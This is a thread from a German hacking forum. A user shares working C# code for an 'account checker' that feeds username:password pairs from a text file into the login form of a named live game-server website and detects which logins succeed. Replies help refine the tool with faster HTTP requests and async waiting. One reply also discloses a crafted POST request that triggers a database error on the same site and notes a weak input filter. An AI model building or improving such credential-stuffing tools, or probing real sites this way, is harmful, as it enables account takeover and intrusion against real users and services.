Zum Inhalt wechseln

Willkommen Gast

Navigation

Links

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen
Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.
  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

C# Homepage loginForm "Bruter"

- - - - -

  • Bitte melde dich an um zu Antworten
3 Antworten in diesem Thema

#1
EiLafJu

EiLafJu

    Leecher

  • Members
  • PIP
  • Likes
    0
  • 1 Beiträge
  • 0 Bedankt

Moin C#'ler.

"Vorgeschichte"

Ich habe eine kurze frage , ich möchte gerne auf einer Homepage Accounts testen mit einem Tool welches ich geschrieben haben. Das Tool ist soweit gehend aufgebaut das es eine Form ist welche aus einem Button und einem Webbrowser besteht, der Webbrowser geht beim Start auf eine Seite mit einem Login , sobald man auf den Button klick werden die ID vom username und password feld und die ID vom Button ausgelesen , dann werden die username und password Felder mit 2 Variablen gefüllt , welche von einem Stream Reader aus einer txt datei gelesen werden.

 

/*

webBrowser1.Document.GetElementById("userid").SetAttribute("value", username);
webBrowser1.Document.GetElementById("userpass").SetAttribute("value", password);
webBrowser1.Document.GetElementById("submit").InvokeMember("click");

*/

Weiter gehend wird nur geprüft ob die seite sich ändert (z.b von xyz.de/index.php?s=login zu z.b xyz.de/index.php?=home).

Weitest gehend Funktioniert alles einwandfrei nur nicht unbedingt endnutzer tauglich ^^' heißt:
Ich muss mit einer MessageBox einen "künstlichen Sleep" erzeugen welchen ich dann manuell abbrechen muss sobald die Seite geladen ist..

 

"Frage"

Ist dieses vorgehen sinnvoll? gibt es eine andere Möglichkeit? Kann ich den Künstlichen Sleep durch einen anderen ersetzen , welcher jedoch nur eine While-Schleife stoppt und nicht unbedingt das komplette Projekt Freezed? (System.Threading.Thread.Sleep Funktioniert leider nicht : B)

 

"Komplett Code"

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;

namespace Account_Checker_Clean
{
    public partial class Form1 : Form
    {
        string[] line;                                                  // array zum daten aus der .txt datei auslesen
        string username, passwort;                                      // wird in die Felder userid und userpass eingesetzt
        Uri url = new Uri("http://performance2-pvp.de/index.php?s=login");       // die URL die mit der webBrwoser1.Url verglichen wird
        bool eingeloggt = false;                                        // bool für die while schleife
        public Form1()
        {
            InitializeComponent();
        }

        private void button_Start_Click(object sender, EventArgs e)
        {
            try
            {
                StreamReader sReader = File.OpenText(@"C:\Users\xyz\Desktop\C#\Extra\Metin2 Account data\Account.txt"); //Datei wird geöffnet
                for (int i = 0; -1 != sReader.Peek(); i++) // Datei wird gelesen , kommt Peek bei -1 an ist die datei zu ende gelesen
                {
                    while (eingeloggt == false)
                    {
                        line = sReader.ReadLine().Split(':'); // Liest die Zeile und nimmt die daten auf , ":" teilt Account von Passwort (aufbau 'username:password')
                        username = line[0]; // Benutzername wird aus der array ausgelsen
                        passwort = line[1]; // Passwort wird aus der array ausgelesen
                        MessageBox.Show("Künstlicher Sleep");
                        if (webBrowser1.Url == url)
                        {
                            webBrowser1.Document.GetElementById("userid").SetAttribute("value", username);                     // LoginForm auf der Hp wird ausgelesen
                            webBrowser1.Document.GetElementById("userpass").SetAttribute("value", passwort);                   // und mit den variablen "username,passwort"
                            webBrowser1.Document.GetElementById("submit").InvokeMember("click");                               // gefüllt und der Login button wird geklickt
                        }
                        else
                        {
                            eingeloggt = true; //um die obere While schleife zu beenden
                            sReader.Close();   // Datei wird geschlossen
                        }
                    }
                    sReader.Close(); //Schließt die .txt
                }
            }
            catch (Exception exc)
            {                                       
                MessageBox.Show(exc.Message); 
            }
        }
    }
}

Bearbeitet von EiLafJu, 27 Februar 2016 - 06:58 Uhr.


#2
pi^2

pi^2

    Hacker

  • Premium Member
  • Likes
    272
  • 181 Beiträge
  • 45 Bedankt

bool eingeloggt = false; =>
 
HTML Agility Pack nutzen:

Please Login HERE or Register HERE to see this link!


 
und z.B. über eine while() Schleife auf inner.Text abfragen:

HtmlWeb web = new HtmlWeb();
HtmlDocument doc = web.Load("http://performance2-pvp.de/index.php?s=login");
HtmlNode pTitle = doc.DocumentNode.SelectSingleNode("//div[@class='title']");
string title = pTitle.InnerText;

Deine Seite hat übrigens ein Haufen Sicherheitslücken.

http://performance2-pvp.de/index.php?s=lostpw
POST: sfform=reset&account=1¢&sicherheitsa=1&sicherheitsf=1=> Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /var/customers/webs/ni795281_2/pages/lostpw.php on line 16

Auch deine Filtermethode unter /vote.php ist schlecht umgesetzt. Da empfehle ich die Anwendung von htmlspecialchars:

Please Login HERE or Register HERE to see this link!

 

kyckIbO.jpg


  • smc2014 und Bypass gefällt das

Thanked by 1 Member:
EiLafJu

#3
Imperial

Imperial

    Favoured Management

  • Members
  • PIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    543
  • 420 Beiträge
  • 576 Bedankt
  • 340868
  • verifiziert
  • iPhone
  • Windows, Mac OS

Ich würde komplett auf den WebBrowser verzichten und den Request einfach nachbauen.


Eingefügtes Bild

CoderBay.net

There Is No Business Like Coding Business


Thanked by 1 Member:
EiLafJu

#4
deadc0de

deadc0de

    Leecher

  • Members
  • PIP
  • Likes
    1
  • 2 Beiträge
  • 0 Bedankt

Prinzipiell kann man mit async / await ab .NET 4.0 asynchron warten ohne zu freezen (private async void button ..... await Task.Delay(ms))

 

Gruß





  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen: 1

Mitglieder: 0, Gäste: 1, unsichtbare Mitglieder: 0

Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.